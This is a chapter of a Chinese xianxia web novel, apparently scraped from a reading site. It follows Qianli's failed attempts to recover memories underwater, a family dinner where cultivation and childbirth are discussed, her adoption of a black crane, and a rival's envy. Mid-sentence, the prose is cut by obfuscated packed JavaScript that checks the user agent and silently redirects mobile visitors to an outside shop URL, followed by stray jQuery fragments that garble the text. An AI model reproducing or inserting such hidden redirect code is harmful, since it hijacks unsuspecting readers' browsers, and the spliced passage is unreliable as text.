记忆像水一样灌了进来。
一个熟悉的声音隔着很远传来。
“这样能行吗?”
这是谁……?
千黎努力睁大眼,仿佛这样就能看清对方。
可眼前人影朦朦胧胧,像隔着归墟茫茫海水,又似隔着百年迢迢岁月,她什么都看不真切。
她听到自己说:“等等……好了!”
对方惊呼:“诶?好厉害!这是身外化身?怎么看起来和人一模一样?”
“我刻了幻阵。修为低的人都看不出来。”
“你骂谁修为低呢?小小器灵,口气这么大,你今晚别想和我出去了!”
她伸手就要来揪千黎的脸,千黎下意识往后一躲。
脚下踩空的失重感袭来。
咕噜咕噜——
冰冷的海水灌入口鼻。
千黎呛了一大口水,猛地从水中一头扎出。
林贺熙正在岸边,准备要跳下来。
千黎抹了一把脸上的水,连忙道:“我会水,你放心。”
说罢,在林贺熙的惊叫声中,她又一头扎进了水中。
水下漆黑,什么都看不见。
千黎睁着眼,在水里浮着,等了片刻,却没有记忆再浮出。
她皱着眉想了想,是她落水的姿势不对吗?
千黎浮上水面,撑着岸边爬了上去。
不顾脸上还淌着水,她对一脸担忧的林贺熙说:“把我推下去。快。”
林贺熙脸上的担忧变成了不可置信:“什么?”
“推就是了。”千黎站在岸沿,“快。”
林贺熙犹豫地抬起手,轻轻一推,千黎在原地动都没动。
千黎:“力气大些。”
林贺熙有些为难:“我……我没推过人。”而且她现在还只有一只手可以用。
看着千黎催促的眼神,林贺熙一咬牙一闭眼,猛地用力往前一推。
千黎任由自己被那股力道推进水中。
哗啦水浪溅起。
林贺熙立刻睁开眼,紧张地往水里看。
片刻后,千黎从水里冒了出来。林贺熙立马松了一口气。
千黎面无表情地爬上岸,抹掉脸上的水。
这次,她看向了在一旁看热闹的黑鹤:“刚刚是你踹的我吧?你再来踹一次。”
黑鹤那双黑豆似的眼睛落在她身上几瞬,然后扭头便走。
千黎:“……”
她叹了口气。
算了。
千黎转身,自己又跳进了水里。
她沉到水下,又浮上来;换了几个地方,又闭着眼泡了许久。
还是不行。
直到指尖都被水泡得发白,千黎才终于死心,从水里爬了出来。
林贺熙看着她,欲言又止。
千黎抹了一把脸上的水:“没事。我就是下去感悟一下。”
林贺熙支支吾吾:“阵法师都这么……神神叨叨吗?”
千黎笑道:“没有。我比较特殊。”
她借了林贺熙的房间,换了身干净衣裳。
出来时,林贺熙道:“到饭点啦。”
饭桌非常大,坐了林家一大家子人。
她坐下后环顾一圈,却没看见几个孩子,不由问:“小孩呢?”
林贺熙正在盛汤,闻言笑道:“小孩有小孩的桌,在后头呢。”
也是,他们家小孩这样多,肯定一桌坐不下。
千黎好奇地问:“你们镇上的孩子好像格外多。”
话音刚落,林贺熙旁边一个男人便咳了两声。
“姑娘好眼力。”
千黎转头看他。
那男人道:“在下林万济。”
“专治男女生育之症,调理胞宫、温养精元、助孕保胎,若有生育上的疑难杂症,尽可来寻我。”
千黎迟疑道:“……我应该没有这方面的问题。”
“没有更好啊!”林万济顿时精神一振,“无病无灾,正是备孕的好时候!”
千黎愣住:“啊?!”
林万济已经热切地往前凑了些。
“姑娘年纪轻,修为也不高,正是生孩子最合适的时机。”
千黎猛地扭头看向林贺熙。
林贺熙捂了捂额头,一脸无奈,道:“舅舅,你不要见着一个年轻修士就这样。”
“我说的哪里有错?”林万济不服,“这都是正经大事。”
林万济道:“以前上界啊,女子和男子差不多一半一半。”
“后来修士自孕之法传开,慢慢就变成了七比三。再这样下去,男子都要绝种了!”
千黎问:“自孕之法和男子变少又有什么关系?”
林万济便有些恨铁不成钢,道:“自孕之法,多么妙啊!偏偏以前那些男子,一个个端着架子,不肯自己生。可有了自孕之法,女子不要男子也能生,渐渐连道侣都懒得结了。”
“而自孕所生的孩子,十有八九又与孕育者同性。时间一长,男子自然越来越少。”
怪不得上界男子那么少呢。
千黎若有所思地点了点头。
林万济道:“不过我们镇上不一样。大家都很愿意生。”
他颇为骄傲地拍了拍胸脯:“我就生了七个。”
千黎:“七、七个?!”
“你如今修为低,正是最适合生的时候。等以后修为上去了,再想生,可就舍不得了。”
千黎问:“这和修为有什么关系?”
这回不止林万济,连桌上其他人都看向她。
林万济满脸惊奇:“你连这个都不知道?”
千黎摇头。
“生孩子,要舍去一半修为啊。”
千黎惊讶:“一半?!”
“自然。”林万济道,“孕育血脉,总不能凭空来。修士以自身精血、修为养胎,孩子出生之时,修为便要折去一半。”
千黎一时沉默。
若现在让她舍去一半修为,只为了生一个孩子……千黎自问,她做不到。
更不要说以后她修到了金丹、元婴,甚至更高,再让她舍去一半修为……
照这样看来,她这辈子恐怕都不会有孩子了。
林贺熙道:“好了好了,别聊这个了。”
她同众人说起自己过去一年在宗内的事。
千黎听着,也觉得颇为有意思。
这时,千黎突然想起来,她一个器灵,想什么生孩子的事啊?
真是莫名其妙被绕进去了。
吃过饭,林贺熙又陪家里人说了会儿话,这才同他们一一告别。
从这里到最近的、设有传送阵的城镇,还有很长一段路。两人出了镇子,没走几步,身后传来一阵扑棱棱的振翅声。
千黎回头,见是那只黑鹤飞了过来。
它落地后二话不说,抬腿便踹。
千黎早有防备,一把扣住它的脖颈,翻身骑到了鹤背上。
黑鹤顿时扑腾起来。
“还想踹我?”
千黎毫不客气地从它翅膀上狠狠拔下两根羽毛。
黑鹤发出一声凄厉长鸣。
千黎这才满意地跳下地,把羽毛往储物戒里一塞。
“扯平了。”
黑鹤那双黑豆似的眼睛死死瞪着她。
千黎冲它做了个鬼脸:“臭鸟。”
说罢转身便走。
走出几步,身后传来悉悉索索的动静。
千黎回头一看,黑鹤正亦步亦趋地跟着。
林贺熙有些惊讶:“我们这儿的灵鹤性子都高傲得很,从不搭理人的。”
千黎叉起腰:“这是跟定我了?踹我一脚,现在要以身相许?”
黑鹤当即又抬起一只腿。
千黎笑道:“你再踹,我就把你身上的毛拔个干净。”
黑鹤默默把腿放了回去。
林贺熙笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17908412|208889||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
起来:“它既然认定了你,你若愿意养灵宠,便带走吧。”
千黎摇头:“我已经养了一只灵兽,怕照顾不过来。”
她低头对黑鹤道:“跟着我只能当坐骑。你还是回去做你自由自在的臭鸟吧。”
黑鹤不动,只拿眼睛瞪她。
千黎打量它片刻,终是道:“行吧。看在你还算听话的份上,带你走。”
……
千黎带着一只黑鹤回来时,站在院门口,愣了片刻。
她甚至怀疑自己走错了地方。
原本院外的小水池,变成了一方巨大的水塘,塘水清澈,游鱼轻灵,池边还铺了平整的青石,种了几丛水草。
霸道舒舒服服地泡在浅水里,只露出半个蟹壳,两只蟹钳搭在石头上,悠闲得很。
她抬头看了看院门。
没错。
是这里。
千黎走进去时,明庚正躺在院中晒太阳。
她问:“师尊,外面那个池塘是怎么回事?”
明庚眼睛都没睁。
“你那只螃蟹,天天站在那小泥坑里对着我指指点点。实在烦人。”
千黎:“咳,虽然我挖得小了些,但是那个也算是个小水塘吧。”
千黎又问:“师尊,青云城附近哪里有归墟水?”
明庚坐起身来,正准备说什么,目光却越过千黎,落在她身后。
黑鹤昂着脑袋站在那里。
一人一鹤对视。
明庚沉默了两息。
随后,她看向千黎,问:“这又是哪来的?”
千黎道:“路上捡的。”
明庚:“……霜翎鹤喜寒,常栖浅水寒潭边,爱吃银鳞鱼和寒水螺。”
千黎眼睛一亮:“谢谢师尊!”
明庚径直躺下,闭上眼,继续晒太阳。
“谢你个头。自己弄。”
……
终于突破了。
她如今已是元婴修为。
楚听雨睁开眼,只觉周身经脉通畅,神识也比从前开阔了数倍。
她站起身,心情极好。
别说姜霁白,如今她的境界,甚至已经追上了苏锦云。
回到巡城司,她先遇见了许千帆。
许千帆笑道:“恭喜楚道友,终于突破了。”
楚听雨也笑了笑,道:“可惜,以后怕是不能再和你们一个组了。”
许千帆有些意外:“你要转组?”
楚听雨轻笑一声:“总不能让我继续待在一个组长修为还不如我的组里吧。”
许千帆一时哑然。
这时,姜霁白从旁边的屋子走了出来。
楚听雨看到姜霁白,问道:“矿区那边后来怎么样了?”
姜霁白道:“已经解决了。有阵法师接手,把该留的证据都留好了。”
楚听雨有些惊讶。
她居然能临时找到愿意去矿区的阵法师?
姜霁白又道:“既然这个任务你没有参与,之后又准备转组,这次的功绩我就不替你申报了。”
楚听雨毫不在意地点点头。
姜霁白走后,楚听雨寻到了驻在巡城司的阵法师。
“听说姜霁白后来另寻了一位阵法师?是什么来路?”
“是啊,很年轻,还是三印。”
三印?
楚听雨心中一动:“可是苏锦云来了?”
阵法师摇摇头:“不是,是两个字的名字。好像叫……”
“千黎。”
……竟是她。
择师大典上,她被一苇仙君当众回绝。转头这个不知从何处冒出来的人,就成了一苇仙君的弟子。
前些日子,那本《三日速通三印考试》风靡上界。饶是她素来不理会这些杂事,也听说了,一苇仙君新收的弟子,连着三日应考,当日便拿下三印令。
方才那点因超过姜霁白而生出的狂喜,此刻消散得一干二净。